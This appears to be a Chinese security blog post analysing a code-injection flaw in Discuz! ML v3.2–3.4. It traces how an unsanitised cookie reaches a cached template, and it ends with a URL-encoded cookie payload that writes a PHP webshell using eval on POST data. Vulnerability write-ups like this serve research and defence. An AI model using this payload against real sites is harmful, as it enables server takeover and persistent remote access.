wywwzjj's Blog.

Discuz ML! V3.X RCE 分析

字数统计: 776阅读时长: 3 min
2019/07/18 Share

概述

Discuz!ML 是一个由 CodersClub.org 创建的多语言,集成,功能齐全的开源网络平台,用于构建像 “社交网络” 这样的互联网社区。该引擎基于 Comsenz Inc. 创建的着名的 Discuz!X 引擎开发。

但是,这与常见的 Discuz 论坛还是没多大关系。

条件

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

POC

简单来说,没有经过任何处理的 cookie 直接被拼接进模板,该模板被 include 后自然就执行了。

(不愧是官方的 Demo)

分析

主入口是 upload 目录下的 index.php,没有任何参数的情况下直接载入 forum.php

紧接着 forum.php 又加载了两个核心文件,好戏就要开始了。

class_core.php 中的 39 行 createapp() 开始实例化一个超级对象,再跟一下构造函数

环境变量一些初始化以及输入输出的处理全是在这里完成的,焦点锁定到 _init_input()

找找这个可控点被用在什么地方

其他地方都是包含,这里有个缓存文件,先不管,继续跟,发现开始加载 forum_index.php

form_index.php 的 433 行开始加载模板

1
include template('diy:forum/discuz:'.$gid);

之前的那个可控点在这里出现了

紧接着被传入了这个函数之中

1
checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT . $cachefile), $templateid, $cachefile, $tpldir, $file);

继续跟,在 function_core.php 中的第 523 行 cachefile 被传入进行解析

1
$template->parse_template($maintpl, $templateid, $tpldir, $file, $cachefile);

在 class_template.php 中,读取了一下原有的模板

接着用正则进行替换

末尾将写入文件

接下来到了激动人心的时刻,这里将拼接我们的恶意语句进入模板

但是第一次并不会直接拼接,因为这时候的子模板并没生成,这里先留个印象。

template()将返回一个绝对路径,然后被包含,这时候会执行之前生成的模板,这里继续加载模板。

直到这一次加载,恶意语句才真正写入

1
2
3
4
5
6
$headeradd = "
0
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_common.htm', 1564153001, '', './data/template/en'.phpinfo().'___common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_qmenu.htm', 1564153002, '', './data/template/en'.phpinfo().'___common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/pubsearchform.htm', 1564153002, '', './data/template/en'.phpinfo().'___common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
;"

可看到具体的位置

简化一下就是

1
checktplrefresh('1', '2', 1564153002, '', '3'.phpinfo().'4', '5', '6')

自然 phpinfo() 的内容就被拼接到了模板文件中

最初生成的文件中还有加载了其他模板,接二连三就生成了好几个文件,最终形成了展示的页面。

exp

由于 cookie 中不能有大写字母,写 webshell 时自然不能直接写,这里可以使用 URL 编码来解决。

1
%27.file_put_contents%28%27confi9.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b1%255d%29%253b%253f%253e%27%29%29.%27

总结

最初的可控变量被拼接到模板中,再加上生成的模板被包含,此时恶意代码就生效了,导致代码注入。

CATALOG
  1. 1. 概述
    1. 1.1. 条件
    2. 1.2. POC
  2. 2. 分析
  3. 3. exp
  4. 4. 总结